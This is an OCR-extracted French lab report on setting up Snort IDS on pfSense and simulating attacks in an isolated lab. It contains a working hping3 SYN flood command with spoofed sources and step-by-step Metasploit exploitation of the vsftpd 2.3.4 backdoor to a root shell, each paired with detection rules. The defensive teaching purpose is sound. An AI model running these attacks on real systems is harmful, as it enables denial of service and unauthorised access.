Rule Signature ID (SID)

SID Actions

amges made on this tab to Snort.

Available Rule Categories
Category Selection: custom.rules

Select the rule category to view and manage [&g,l.@ Pgégﬁmla_“.%-gg @_J’g-!:l..t_gg

Defined Custom Rules

alert tcp any any -> $HOME_NET 445 (msg:"0S-WINDOWS Microsoft Windows SMB remote code execution attempt”™; flow
alert icmp any any -> $HOME_NET any (msg:"ICMP Attempt Attack”; sid:186881; rev:l;)

to_server,

Note: Si on active ou désactive manuellement une ou plusieurs régles par cette page, on doit appliquer les
modifications par le bouton Apply, sinon ils ne seront pas pris en charge :

Rule Signature ID (SID) Enable/Disable Overrides

When finished, click APPLY to save and send any SID enable/disable changes made on this tab to Snort
Note: You should not disable flowbit rules! Add Suppress List entries for them instead by clicking here

LAN Preprocs

Dans cet ongleton peut voir tous les préprocesseurs existants sur Snort. Certains d'entre eux sont activés par défaut.
Comme SSH Detection, HTTP Inspect, Frag3 et Stream5, etc.
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Preprocessors Basic Configuration Settings
Host Attribute Table
Protocol Aware Flushing

SSH Detection

HTTP Inspect

(+]

Frag3 Target-Based IP Defragmentation
Stream5 Target-Based Stream Reassembly
Application ID Detection

Portscan Detection

FTP and Telnet Global Options

Telnet Protocol Options

FTP Protocol Options

Sensitive Data Detection

ARP Spoof Detection
POP3 Decoder Settings
IMAP Decoder Settings

SMTP Decoder Settings

SCADA Preprocessors

L'activation de certains de ces préprocesseurs est nécessaire au fonctionnement de leurs régles associées. Par
exemples les regles OPENAPPID qui sont associées au préprocesseurs Application ID Detection.

Activer le Snort sur interface LAN
Apres avoir choisi les rulesets pour une interface ou ajouté les régles personnalisées, on peut activer Snort sur celle-
ci:

Snort Interfaces Global Settings Updates Alerts Blocked Pass Lists Suppress IP Lists SID Mgmt Log Mgmt Sync

Interface Settings Overview

Interface Snort Status Pattern Match Blocking Mode Description Actions
O LAN (em1) o CcCe AC-BNFA DISABLED LAN SO

Le répertoire du Snort
Sur Pfsense (distribution linux FreeBSD), Snort estinstallé dans le répertoire /usr/local/etc/snort.Icise trouve le fichier
configuration Snort.conf, des régles et les autres fichiers de configurations.

Quand on active Snort pour une interface, un dossier pour celle-ci sera créé dans ce répertoire avec tous les fichiers
configurations et des regles personnalisées pour cette interface :

>
=
= appid
[ preproc_rules
= rules
snort_12394_em1 =
[2) appid_rules tar.gz n" L a [ preproc_rules 0.03 KiB
[© attribute_table.dtd L . i3 rules 1.25 Kig
(@ attribute_table.dtd-sample L 5 [ snort_dynamicpreprocesser 1.25KiB
2 classification.config L a * [ attribute_table.dtd 276 KiB
[ classification.config-sample [©) classification.config 3.67 KiB
[©) community-rules.tar.gzmd5 file_magic.conf 0.03 KiB
[©) emerging.rules.tar.gz mds é gen-msg.map 0.03 KiB
[©) feodotracker.tar.gzmds [ reference.config 0.03 KiB
file_magic.conf ) sid-msg.map 23.10 KiB
é file_magic.conf-sample U/ snart.conf 23.10 KiB
(2 gen-msg.map [2) suppmu_suppress 32.56 KiB
[=) gen-msg.map-sample 2 threshold.conf 32.56 KiB
(2 reference.config ) unicode.map 0.52 Ki
[©) reference.config-sample - 0.67 KiB
[©) rulesupd_status 0.02KiB
[©) snort-openappid.tar.gz.md3 0.03KiB
2 snort.conf 26.20 KiB
[©) snort.conf-sample 26.20 KiB
[Z) snortrules-snapshot-29200.tar.gz. md5 0.03 KiB
_ threshold.conf 228 KiB
[Z) threshold.conf-sample 228KiB
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Des termes a connaitre : ANSSI, CERT-FR, OWASP, CVE

Quelques termes importants concernant la sécurité des réseaux et des systemes avant de commencer la simulation
des attaques :

ANSSI

L'ANSSI (I'autorité nationale de défense et de sécurité des systémes d‘information) est un service francais chargé de
la sécurité informatique. Elle est chargée de détectée et d'alerters'ily a la présence d'attaques informatiques. Elle
veille notamment a la protection de I'Etat concernant leurs données informatiques.

CERT-FR

Computer Emergency Response Team (CERT) également appelé CSIRT (Computer security incident response team)
estungroupe d'experts en sécurité de l'information responsable de la protection, de ladétection et de la réponse aux
incidents de cybersécurité d'une organisation.

Le CERT-FR est une des composantes curatives complémentaires desactions préventives assurées par ’ANSSI. En tant
que CERT national, il est le point de contact international privilégié pour tout incident de nature cyber touchant la
France. Il assure une permanence de ses activités 24h/24, 7j/7.

Ses principales missions :

e Détecterles vulnérabilités des systémes, au travers notamment d’une veille technologique ;
e Piloterla résolution des incidents, si besoin avec le réseau mondial des CERT ;

e Aider ala mise en place de moyens permettant de se prémunir contre de futurs incidents ;

e Organiser la mise en place d’un réseau de confiance.

OWASP

L’Open Web Application Security Project, ou OWASP, est une organisation internationale qui se consacre a la sécurité
des applications web. L'un des principes fondamentaux de 'OWASP est que tous ses documents soient dispon ibles
gratuitement etfacilementaccessibles surson site web, ce quipermetachacun d’améliorer la sécurité de ses propres
applications web. Le matériel qu’ils proposent comprend de la documentation, des outils, des vidéos et des forums.
Leur projet le plus connu est peut-étre le Top 10 de 'OWASP.

Le Top 10 de 'OWASP est un rapport régulierement misa jour qui expose les préoccupations en matiere de sécurité
des applications web, en se concentrant sur les 10 risques les plus critiques. Le rapport est élaboré par une équipe
d’experts en sécurité du monde entier.

Les risques de sécurité signalés dans le rapport OWASP Top 10 2017 et 2021 :

2017 2021
= A01:2021-Broken Access Control
-~~~ > A02:2021-Cryptographic Failures

AD3:2017-Sensitive Data Exposure — : A03:2021-Injection

A04:2017-XML External Entities (XXE) < (New] A04:2021-Insecure Design

A05:2017-Broken Access Control d N > A05:2021-Security Misconfiguration
A06:2017-Security Misconfiguration - = A06:2021-Vulnerable and Outdated Components
A07:2017-Cross-Site Scripting (XSS) ] ’ A07:2021-Identification and Authentication Failures
A08:2017-Insecure Deserialization [Mew) A0D8:2021-Software and Data Integrity Failures
A09:2017-Using Components with Known Vulnerabilities = ] > A09:2021-Security Logging and Monitoring Failures®
A10:2017-Insufficient Logging & Monitoring "" (New) A10:2021-Server-Side Request Forgery (SSRF)*

* From the Survey

CVE

L'acronyme CVE, pour Common Vulnerabilities and Exposures en anglais, désigne une liste publique de failles de
sécurité informatique. Lorsque I'on parle d'une CVE, on fait généralementréférence a une faille de sécurité a laquelle
un identifiant CVE a été attribué.

Les avis de sécurité publiés par les chercheurs mentionnent presque toujours au moins un identifiant CVE.
18



Well-known Examples

#Stuxnet Horm”
CVE-2010-2772, CVE-2010-2568 CVE - 2019 - 1214

Prefix beri
.MannaCry" Year Numbering
CVE-2017-0144 / I \

Ongoing;

«BlueKeep” Identical for Four digits, four, five or
CVE-2019-0708 each ID year of publication seven digits

Simulations d'attaques

Nous allons simuler les attaques mentionnées dans le cahier des charges et nous essayerons de les capturer parSnort
en activant desregles prédéfinies ou en créant les regles personnalisées. Pour éviter de recevoir beaucoup d'alertes,
nous allons seulement activer les catégories des regles liées a I'attaque que nous allons effectuer.

DDoS (Distributed Denial of Service)

Une attaque DDoS ressemble a un embouteillage inattendu qui bloque une autoroute et empéche le trafic normal
d’arriver a destination. DDoS (une attaque par déni de service distribué) est une tentative malveillante de perturber
le trafic normal d’un serveur, service ou réseau en submergeant la cible.

Les attaques DDoS sont exécutées avec des réseaux de machines
connectées a Internet.

Ces réseaux sont constitués d'ordinateurs infectés par un logiciel
malveillant qui permet au pirate de les controler a distance. Ces
dispositifs individuels sont appelés « bots » (ou zombies), et un
groupe de bots s'appelle un « botnet ».

DDoS http Flood

Une attaque http flood est un type d’attaque par déni de service
distribué volumétrique concu pour saturer un serveur ciblé de
requétes http. Une fois que la cible a été saturée de demandeset
gu’elle estincapable de répondre au traficnormal, dénide service
se produira pour les requétes supplémentaires des utilisateurs
existants.

HTTP Flood Attack

Server Client

Les attaques HTTP flood sont un type d'attaque DDoS de « couche
7 ».

Il existe deux variétés d’attaques http flood :

Attaque http GET : plusieurs ordinateurs envoient plusieurs requétes d'images, de fichiers ou d'autres éléments vers
un serveur ciblé. Lorsque la cible est inondée de requétes, un déni de service se produit pour les requétes
supplémentaires provenant de sources de trafic légitimes.

Attaque http POST : lorsqu'un formulaire est soumis sur un site Web (requéte POST), le serveur doit traiter la requéte
entrante et envoyerlesdonnées dans une base de données. Le traitement des données du formulaire et ' exécution
des commandes sont intensif et cette attaque peut créer le dénidu service.

Comment peut-on atténuer une HTTP flood ?

Une solution possible est de lancer un défia la machine afin de vérifier s'il s'agit ou non d'un bot, un peu comme le
test captcha que l'on trouve couramment lors de la création d'un compte en ligne.
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DDoS SYN flood

Une attaque SYN flood vise a rendre un serveur indisponible pour le trafic légitime en consommant toutes les
ressources serveur disponibles. En envoyant des paquets de demande de connexion initiale (SYN : synchronize) le
pirate submerge tous les ports disponibles surun serveurciblé, ce qui oblige le serveurarépondre lentement au trafic
légitime ou 'empéche totalement de répondre.

L'attaque SYN flood fonctionne en exploitant le processus d’établissement de liaison d’une connexion TCP.

La connexion TCP est composée de trois processus distincts :

1

Le client envoie un paquet SYN au serveur afin d’établir la

connexion.

Le serveur répond a ce paquet avec un paquet SYN/ACK, afin

d’accuser réception de la communication. —

Le client renvoie un paquet ACK pour accuser réception du L o L
paquet provenant du serveur. ||

THREE - WAY HANDSHAKE (TCP)

(M sYN

SYN = SYNCHRONIZATION ACK = ACKNOWLEDGEMENT

Aprésavoir terminé ses étapes avecsucces la connexion TCP est établi
et ouverte pour envoyer et recevoir des données.

Pour créer un dénide service par I'attaque SYN flood :

1. Le pirate envoie un volume élevé de paquets SYN au serveur ciblé.

2. Le serveur répond ensuite a chacune des demandes de "
connexion et laisse un port ouvert prét a recevoir la réponse.

3. Pendant que le serveur attend le dernier paquet ACK qui Bot Target
n’arrive jamais, le pirate continue d’envoyer plus de paquets :z"‘fj:z: T J:‘.
SYN. Chaque paquet SYN oblige le serveur de créer une
nouvelle connexion de port ouverte et une fois que tous les | suNhcK
ports disponibles ont été utilisés, le serveur ne peut plus ? M_,,_Ei‘f'iz\k
fonctionner normalement. ’ // f’-'*,zg;é?*

R
Trois maniéres pour la création d’une attaque SYN flood existe : >

1. Attaque directe: une attaque SYN flood ou I'adresse IP n’est pas usurpée est connue sous le nom d’attaque
directe. Dans cette attaque, le pirate ne masque pas dutoutsonadresse|IP. Cette méthode est rarement (voire
jamais) utilisée, car les mesures d’atténuation sont relativement simples : il suffit de bloquer I'adresse IP de
chaque systeme malveillant.

2. Attaque par usurpation d’identité : Un utilisateur malveillant peut également usurperl’adresse|P de chaque
paguet SYN gu’il envoie afin d’entraver les efforts d’atténuation et de rendre son identité plus difficile a
découvrir. Bien que les paquets puissent étre usurpés, ils peuvent potentiellement étre retracés jusqu’aleur
source.

3. Attaque distribuée (DDoS) : si une attaque est créée a l'aide d’un botnet, la probabilité de pouvoir trouverla

source de l'attaque est faible. Un pirate peut aussifaire en sorte que chaque périphérique distribué usurpe
également les adresses IP a partir desquelles il envoie des paquets.

Comment atténuer une attaque SYN flood ?

1

2.

Augmenter la file d’attente du backlog : Chaque systeme d’exploitation sur un appareil ciblé dispose d’un
certain nombre de connexions semi-ouvertes qu’il autorise. llest possible de répondre aux volumes élevés de
paguets SYN en augmentant le nombre maximal de connexions semi-ouvertes possibles que le systeme
d’exploitation autorisera (le backlog).

Ecraser la connexion semi-ouverte la plus ancienne une fois le backlog rempli.
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Simulation d’une attaque DDoS SYN flood

Poursimulerl'attaque SYN flood, nous allons utiliser une machine kali en tant que pirate. Une machine Metasploitable
2 en tant que serveur web et une machine Windows 10 en tant que client légitime. Nous allons également installer
Snort sur une Pfsense. Voicile schéma :

&

i
kali linux / le pirate Client légitime
172.18.20.210 172.18.20.10

web server
172.18.20.240

Le serveur web est disponible depuis la machine cliente sans probléme :

Damn Vulnerable Web App (DU X @ Nouvel onglet x4+ = u} X

<« C QO & 172.1820.240/dwwa/findexphp B =

e

[ Welcome to Damn Vulnerable Web App!
=t Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn v
are to be an aid for security professionals to test their skills and toals in a legal enviro
Setup. better understand the processes of securing web applications and aid teachers/studel
application security in a class room envionment
Brute Force WARNING!
Command Execution Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting pravid
CSRF any intemet facing web server as it will be ised We i
onto a local machine insids your LAN which is used solely for testing.
File Inclusion i X
QL Injection Disclaimer
—— We do not take responsibility for the way in which any one uses this application. We
SQL Injection (Blind) | the clear and it should not be used maliciously. We have given wamings a
Upload prevent users from installing DVWA on to live web servers. If your web server is compi
DVWA it is not our responsibiliy it is the respansibility of the person/s who uploaded
XSS reflected

General Instructions v

>

YEC ctrrnd |

<

Sur la Kali, nous allons utiliser un outil qui s’appelle hping3 qui nous permetd’envoyerles paquets ICMP/UDP/TCP et
d’afficher les réponses de la cible comme le programme ping le fait avec les réponses ICMP. Nous allons utiliser la
commande suivante pour créer une attaque SYN flood vers le serveur web :

sudo hping3 -c 15000 -d 120 -S -w 64 -p 80 --flood --rand-source 172.18.20.240

) BD il r rce 172.18.20.240
S set, 4@ headers + 120 data bytes
shown

HPING 172.18.20.240 (eth® 17
hping in flood mode, no replies

will be

Dans cette ligne de commande : Kali envoie 15000 paquets (-c 15000) avecla taille de 120 octets (-d 120) chacun. Nous
spécifions que le flag SYN (-S) droit étre activé avecla taille de la fenétre de 64 (-w 64). Nous ciblons I'attaque versle
serveur web sur le port 80 (-p 80) et utilisons le flag --flood pour envoyer les paquets le plus vite possible. Le flag --
rand-source (random source) génére des adresse IP usurpée pour déguiser lasource réelle et éviterla détectioneten
méme temp arréter les paquets SYN-ACK réponses de la victime d’arriver au pirate. Cela empéchera la machine du
pirate de répondre avec le paquet ACK puisqu’il n’a jamais recu SYN-ACK.

Apreés avoir lancé la commande, nous allons retenter d’accéder a la page web et nous voyons qu’il n’est plus
accessible :
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(@D Erreur de chargement delapac X @ Nouvel onglet x 4+ - a B3

&« C @ 172.18.20.240/dvwa/index.php w

Le délai d'attente est dépassé
Le serveur a I'adresse 172.18.20.240 met trop de temps & répondre.
* Le site est peut-étre temporairement indisponible ou surchargé. Réessayez plus tard ;

* Sivous n'arrivez & naviguer sur aucun site, vérifiez la connexion au réseau de votre
ordinateur;

« Sivotre ordinateur ou votre réseau est protégé par un pare-feu ou un proxy, assurez-vous
que Firefox est autorisé & accéder au Web.

Réessayer

Visualiser les paquets SYN par Wireshark
Nous pouvons capturer les paquets transmis dans le réseau pour vérifier les paquets SYN créés par le pirate :

Ma. Time Source Destination Protocol  Length Info
28 6.255741 139.71.237.198 172.18.20.248 TCP 174 1537 » 80 [SYN] Seq=8 Win=64 Len=128 [TCP segment of a reassembled PDU]
29 £.255741 152.5.285.43 172.18.20.248 TCP 174 1538 - 8@ [SYN] Seq=8 Win=64 Len=120 [TCP segment of a reassembled PDU]
38 £.255741 48.61.56.43 172.18.20.248 TCP 174 1539 » 8@ [SYN] Seq=8 Win=64 Len=120 [TCP segment of a reassembled PDU]
31 6.255741 21.88.233.5 172.18.28.248 TCP 174 1548 » 8@ [SYN] Seq=8 Win=64 Len=128 [TCP segment of a reassembled PDU]
32 6.255741 185.114.134.192 172.18.28.248 TCP 174 1541 » 8@ [S¥YN] Seq=8 Win=64 Len=128 [TCP segment of a reassembled PDU]
33 6.255741 186.65.3@.42 172.18.20.248 TCP 174 1542 » 80 [SYN] Seq=8 Win=64 Len=128 [TCP segment of a reassembled PDU]
34 6.255741 19.285.239.36 172.18.20.248 TCP 174 1543 » 80 [SYN] Seq=8 Win=64 Len=128 [TCP segment of a reassembled PDU]
35 £.255741 5.1408.193.237 172.18.20.248 TCP 174 1544 + 8@ [SYN] Seq=8 Win=64 Len=120 [TCP segment of a reassembled PDU]
36 £.255741 118.88.54.211 172.18.20.248 TCP 174 1545 » 8@ [SYN] Seq=@ Win=64 Len=120 [TCP segment of a reassembled PDU]
37 6.255741 182.98.156.78 172.18.28.248 TCP 174 1546 + 8@ [SYN] Seq=8 Win=64 Len=128 [TCP segment of a reassembled PDU]
38 6.255741 189.289.55.196 172.18.28.248 TCP 174 1547 » 8@ [S¥YN] Seq=8 Win=64 Len=128 [TCP segment of a reassembled PDU]
39 /.255741 213.18R.19.156/ 172.18.72A.244 TR 174 11548 = RA [SYN1 Sea=A Win=A4 | en=128 [TCP <epement of a reassemhled PO

On voit bien tousles paquetsSYN envoyés depuisla machine du pirate vers le serveurweb. Pour 'adresse source il
n’y a pas d’adresse IP du pirate mais des adresses IP usurpées aléatoires. On peut aussi voir d’autres paramétrages
dans le champ info.

Capturer 'attaque par Snort
On relance I'attaque mais cette fois on active le service IDS sur le port LAN de notre pare-feu:

Interface Snort Status Pattern Match Blocking Mode Description Actions
u] LAN (em1) ® CE® AC-BNFA DISABLED LAN SOm

Dans I'onglet Alert on voit les alertes créer a cause de cette attaque :

39 Entries in Active Log

Date Action Pri Proto Class Source IP SPort Destination IP DPort GID:SID Description

2022-09-29 2 TCP Misc 169.249.61.157 9203 172.18.20.240 80 1:2400017 ET DROP Spamhaus DROP Listed Traffic Inbound
13:08:20 Attack Q, Q, X group 18

2022-09-29 2 TCP Misc 196.10.66.252 8444 17218.20.240 80 1:2400023  ET DROP Spamhaus DROP Listed Traffic Inbound
13:08:20 Attack Q Q X group 24

2022-09-29 2 TCP Misc 137.55.191.132 8295 17218.20.240 80 1:2400009  ET DROP Spamhaus DROP Listed Traffic Inbound
13:08:20 Attack Q, Q X group 10

2022-09-29 2 TCP Misc 196.55.193.245 8258 17218.20.240 80 1:2400023 ET DROP Spamhaus DROP Listed Traffic Inbound
13:08:20 Attack Q Q X group 24

2022-09-29 2 TCP Misc 86.106.110.86 7727 17218.20.240 80 1:2400003  ET DROP Spamhaus DROP Listed Traffic Inbound
13:08:20 Attack Q Q X group 4

2022-09-29 2 TCP Misc 204.238.137.249 6885 17218.20.240 80 1:2400031 ET DROP Spamhaus DROP Listed Traffic Inbound
13:08:20 Attack Q Q X group 32

2022-09-29 2 TCP Misc 197.154.214.132 6680 172.18.20.240 80 1:2400023  ET DROP Spamhaus DROP Listed Traffic Inbound
13:08:20 Attack Q Q X group 24

On peutvoirles adresses IP sources usurpées, le GID et SID des régles quiont déclenché ces alertes, ladescription par
rapport a ces regles et les autres informations. Ces alertes sont créés par les régles qu’on a ajoutées depuis Snort lui-
méme (lI'onglet Global Settings).

Maintenant on va créer notre propre régle dans la partie custom.rules :

alert tcp any any -> SHOME_NET 80 (flags: S; msg:"Possible TCP DoS"; flow: stateless; threshold: type both, track
by_src, count 70, seconds 10; sid:10001;rev:1;)
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Dans cette regle, tous les paquets SYN qui vont vers le réseau HOME_NET, si le nombre totale de ces paquets qui
viennes depuis une source précise (track by_src), dans une période de 10 secondes est plus de 70, il déclenche une
alerte avec le message « Possible TCP DoS ».

Nous ajoutons cette régle dans le custom.rules et nous refaisons le teste. Nous vérifions I'onglet alerte et nous voyons
gu’iln’y a aucune alertes. La raison pour laquelle Snort n’a pas capturé les attaques est que les paquets SYN viennent
des adresses IP aléatoires usurpées.

0 Entries in Active Log

Date Action Pri Proto Class Source IP SPort Destination IP DPort GID:SID Description

Nous changeons le track et on le met par destination (au lieu de par source) avec I'option track by _dst.

alert tcp any any -> SHOME_NET 80 (flags: S; msg:"Possible TCP DoS"; flow: stateless; threshold: type both, track
by dst, count 70, seconds 10; sid:10001;rev:1;)

nous relancons I'attaque pour 30 secondes et nous vérifions I'onglet alerte :

3 Entries in Active Log

Date Action Pri Proto Class Source IP SPort Destination IP DPort GID:SID Description
2022-09-29 0 TCP 222.23.130.219 31356 172.18.20.240 80 1:10001 Possible TCP Dos
13:47:08 Q, Q x

2022-09-29 0 TCP 39.60.234.39 64771 172.18.20.240 80 1:10001 Possible TCP Dos
13:46:53 Q Q X

2022-09-29 0 TCP 110.39.61.65 1676 172.18.20.240 80 1:10001 Possible TCP DoS
13:46:43 Q Q b4

Nous avons recu trois alertes pour cette attaque de 30 secondes. Autrement dit, avec |’ option threshold, nous avons
recu une alerte par chaque période de 10 secondes.

Backdoor (porte dérobée)
Une porte dérobée fait référence a toute méthode par laquelle les utilisateurs autorisés et non autorisés peuvent
contourner les mesures de sécurité normales et obtenir un acces root sur un systeme informatique, un réseau.

Dans certains cas, les pirates peuvent utiliser une porte dérobée pour causer des dommages a un ordinateur ou un
réseau, mais dans la plupart des situations, ces choses sont utilisées pour copier des fichiers et pour espionner.

Je vous indique deux manieres de la création des portes dérobées dans le systéeme :

Backdoor malware
Création des portes dérobées a I'aide des logiciels malveillants. Un logiciel malveillant qui est généralement classés
comme un cheval de Troie. Un chevalde Troie est un programme informatique malveillant qui prétend étre quelque

chose qu’il n’est pas dans le but de diffuser des logiciels malveillants, de voler des données ou d’ouvrir une porte
dérobée sur le systéme.

Built-in Backdoor
Les développeurs de logiciels créent les portes dérobées afin de pouvoir entrer et sortir rapidement des applications

au fur et a mesure de leur codage, tester leurs applications et corriger les bogues sans avoir a créer un compte. Ces
portes dérobées ne sont pas censées étre livrées avec le logiciel final, mais parfois elles le font.

Les portes dérobées et les exploits sont-ils les mémes ?

Les exploits sont des vulnérabilités logicielles utilisées pouraccédera un ordinateur et, potentiellement, déployer une
sorte de logiciel malveillant. En d'autres termes, les exploits ne sont que des bogues logiciels dont les cybercriminels
ont trouvé un moyen d'exploiter. Les portes dérobées, en revanche, sont mises en place par les fabricants ou les
cybercriminels pour entrer et sortir d'un systeme a volonté.
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Nous simulons deux exemples pour les portes dérobées. Le premier est mis en place par un cybercriminel. Et le
deuxieéme créé a cause des failles sécurités existants dans le systeme.

Pour réaliser ces attaques je vais utiliser un outil qui s’appelle Metasploit qui est intégré dans la Kali.

C’est quoi Metasploit ?
Le framework Metasploit est un outil trés puissant qui peut étre utilisé par les cybercriminels ainsi que les pirates
éthigues pour analyser les vulnérabilités systématiques sur les réseaux et les serveurs.

C’est quoi Metasploitable ?

La machine virtuelle Metasploitable est une version intentionnellement vulnérable d'Ubuntu congue pour tester les
outils de sécurité et démontrerlesvulnérabilités courantes. En ce moment, trois versions de cette machine virtuelle
sont disponibles pour télécharger depuis internet.

Vous pouvez télécharger Metasploitable 2 depuis ce lien :

https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

C’est quoi Nmap ?

L'outil Nmap (Network Mapper) est I'un des meilleurs outils de la communauté de piratage qui est utilisé pour
déterminer les trous dans les systemes. Nous pouvons utiliser Nmap sur Kali pour analyser les ports ouverts sur un
serveur, les adresses IP ou les noms d'héte. La version GUI de Nmap sur Kali s’appelle Zenmap.

VSFTPD Backdoor
VSFTPD est un serveur FTP qui peut étre trouvé dans les systéemes d'exploitation Unix comme Ubuntu. Par défaut, ce
service est sécurisé, mais un incident majeurs'est produit

en juillet 2011 lorsque quelqu'un a remplacé la version

originale parune version contenantune portedérobée. La -@_

porte dérobée existe dans la version 2.3.4 de VSFTPD et 1721890 254124

elle peut étre exploitée via Metasploit.

Pour la simulation de cette attaque nous utilisons le @ @) IF"‘
service Metasploit qui est intégré dans Kali en tant que Kalilinux /e pirate Ww’s;:d .
machine du pirate. Et une machine metaexploitable 2 (car 17120210 172:18.20.240
il ale vsftpd version 2.3.4 déja installé).

On va accéder a cette backdoor en réalisant les étapes
suivantes:

1. Allumezles trois machines et mettez-les dans le méme sous-réseau. Nous installons les trois machines sur
VirtualBox. L'IDS est installé sur le Pfsense [ ==

Scan Tools Profile Help

qu' a Ie réle du pare_feu~ a : 2.1¢ 2 ~ |Profile: Intense scan - Scan Cancel
2. LanceZ Ie Zenmap en Cherchant sSsOon nom Command: nmap -T4 -A -v 172.18.20.240
da ns Ia menue app“catIOn de Kall, Hosts Services Nmap Output Ports / Hosts Topology Host Details Scans
3. Entrez l'adresse IP de Metasploitable 2, Amap T A v 172.18.20.240 petails
i 4 1721820 V77 " ASEREALRSLY
mettez Profile sur Intense scan et appuyez [EE Script Post-scanning.
Initiating NSE at 19:57
sur Scan. Il analyse les ports TCP les plus o Mot ¢ 10,4y 008 stapsed
s . \ Completed NSE at 19:57, ©.00s elapsed
courants. Il détermine le type de systeme Initiating NSE at 1:5
Completed NSE at 19:57, 0.00s elapsed
H H H sr/local/bin share/nma
d'exploitation et les services et leurs B S SR tatection parforsad. FLébse. repert any incorrect results
. ' . . A ot e B Ige)/ submit/ .
versions en cours d'exécution. [l devrait étre 1 Ip address (1 host up) scanned in 23.10 seconds

Raw packets sent: 1020 (45.626KB) | Rcvd: 1016 (41.430KB)

raisonnablement rapide. Vous pouvez Fiter Hosts
également voir sa commande équivalent dans Nmap.
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Dans I'onglet Ports/Hosts on peut voir que le serveur vsftpd version 2.3.4 est installé et activé sur le port 21 TCP et
son état est Open.

Services Nmap OQutput Ports / Hosts {ihglaayc _Host Details Scans

21 tep open ftp

172.18.20. - = .

v open ssh OpenSSH 4.7pl Debian 8ubuntul (proto
v tcp open telnet Linux telnetd

v tcp open smtp Postfix smtpd

Y4 tc open domain ISC BIND 9.4.2

4. Ouvrezle terminal et accédez a la console Metasploit avec la commande msfconsole :

=

kali@kali: ~
File Actions Edit View Help

rting the metasploit Framework console.../

Quand la console est ouverte, vous pouvez voir la version de metasploit et le nombre des différents éléments
existants dans cette version :

ry - post
1 nops

o+ o+
1 1 1
1 1 1
I
nwon nwon

5. Cherchezle nom de I'exploit que I'on veut avec la commande search. Cela nous trouvera I'exploit
vsftpd 234 backdoor qui correspond a notre attaque :

Disclosure Date Rank Check Description

34_backdoor 2011-07-03 No VSFTPD v,

ith a module by name or index. For example

7. Unefoisl'exploit sélectionné, vérifier les différentes options existantes et configurables avec la commande
show option :

xploit( ) > show options

Module optiol

Name

ithub.com/rapid7/metasploit-framework/wiki/Us

Payload options (cmd/unix/interact):

Name Current Setting Required Description

Automatic




8. RHOST estl'adresse IP du serveurvictime et RPORT est le port sur lequell’exploit doit étre réalisé. Ce dernier
est déja défini mais on doit définir le RHOSTS nous-méme. Faites-le avec la commande set rhosts :

> set rhosts 172

9. Enfin, lancez I'attaque avec la commande exploit. On voit bien que Metasploit a trouvé une Shell et une
session (numéro 1) est ouverte avec les détails suivants :

msf6 exploit(

word .
, handling ...
shall.

nd shell session 2 opened (17 B:40195 E 2 6:29:50 -0400

10. Vous pouvez vérifier que les différentes commande linux sont exécutables sur le serveur piraté ( Is-, ip a,
etc.). Donc un backdoor a été créé sur le serveur victime :

UID: uid=0(root) gid=0(root)

ion 2 opened ( 95 7 E 29 50 -0400

isc pfifo_fast qlen 1000

ha

lobal dynamic

Capturer 'attaque par Snort
La regle par rapport a I'attaque vsftpd 2.3.4 est dans une catégorie qui s’appelle snort_malware_cnc.rules. Cette

catégorie est déja parmi nos catégories téléchargées etil nous suffit de la sélectionnerdans I'onglet Lan Categories et
activer la regle depuis I'onglet Lan Rules :

emerging-policy.rules snort_malware-cnc.rules (] snort_protocol-snmp.so.rules

(] 1 19415 g

g

p SEXTERNAL_NET any SHOME_NET 21 MALWARE-CNC vsFTPd 2.3.4
backdoor connection

Voici la regle dans sa forme complete :

1:19413

alert tcp BEXTERWAL_NET any -» SHOME_MET 21 (msg:"MALWARE-CNC vsFTPd 2.3.4 backdoor
connection™; flow:to_server, established; content:"USER"; depth:4; nocase;
content:"|34 20|"; within:5@; fast_pattern; pcre:"/*USER[™\n]+\x3a\x20/smi";
metadata:service ftp; reference:bugtraq,48539; classtype:trojan-activity; sid:19415;
revify)

On peut vérifier les alertes qui sont déclenché dans 'onglet Alert :

14 Entries in Active Log

Date Action Pri Proto Class Source IP SPort Destination IP DPort GID:SID Description
2022-09-29 1 TCP A Network Trojan 172.18.20.210 32877 172.18.20.240 21 1:19415 MALWARE-CNC vsFTPd 2.3.4 backdoor
22:37:54 was Detected Q Q, x connection

On peut vérifier les détails de cette régle en cliquant sur son numéro SID (19415) qui va nous diriger vers une page
web sur le site snort.org :
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References

nd and Control (CNC] rule violation, most likely f

C — Snort has detected a

been infiltrated by on attac

r. who is using the host to meke calls for f

FTPd 2.3.4 backdoor connection

Analyse de trames par WireShark

m the control server. The alert

for shuttling traffic back 1o

Si on essaye de traduire la régle ci-dessus, il nous dit qu’en premier, le contenu « USER » doit étre trouvé dans les 4
premiers octets du paquet ftp et le contenu 3A 29 doit étre trouvé parmiles 50 octets a partir du premier contenu
trouvé. Et grace a WireShark on voit bien que cela est le cas dans le paquet ftp de cette attaque :

Rule Text . — T
alert tcp SEXTERMAL_MET any -»> SHOME_MET 21 (msg:"MALWARE-CNC wsFTP backdoor
connection”; flow:to_server, e g shed; |:0r:e’|t:“USER"; dept1:4;| r 5
content:" |34 29|"; within:5@; attern; pcre:™/*USER[™“\n]+\x3a\x2%/smi";
metadata:service ftp; referencet trag,48539; classtype:trojan-activity; sid:19415;
rev:6;)
AE 2 ® I IBMRBResEF I SEQQaH
(W]fe
No. Time Source Destination Protocol Length Info
15785 2.358893 172.18.2@.248 172.18.28.218 FTP 86 Response: 220 (vsFTPd 2.3.4
15787 2.368351 81 Request: USER xjjpvl:)
15789 2.368445 172.18.20.240 172.18.20.216 £TP 188 Response: 331 Please specily the password.
15791 2.361677 172.18.20.218 172.18.20.240 ETP 78 Request: PASS tlImq

~ File Transfer Protocol (FTP)

¥ USER xjjpvl:)irin
Request command: USER P
Request arg: xjjpvl:)

[Current working directory: ]

88 @@ 27 29 5a T4 B8 B8 27 99 93 d2 B8 88 45 @8 )z ' E

0 43 27 43 4B 0D 46,060 91 8b ac 12 14 d2 agll2  -C'C-@
14fasaadaa1s£a:d71z3a14b9 ] mo-- la:

81 f6 78 a8 @0 BB @8 @a 68 c6 1d b1 8¢ 82 *
864D 07 3h29 78 6a 6a 70 56 6d 3a 29 jad x 33pVi:)

9a

Vulnérabilité EternalBlue (MS17-010)

EternalBlue est a la fois le nom donné a une série de vulnérabilités logicielles de Microsoft et I'exploit créé par la NSA
en tant qu'outil de cyberattaque. Bien que l'exploit EternalBlue - officiellement nommé MS17-010 par Microsoft -
n'affecte que les systémes d'exploitation Windows, tout ce qui utilise le protocole de partage de fichiers SMBv1risque

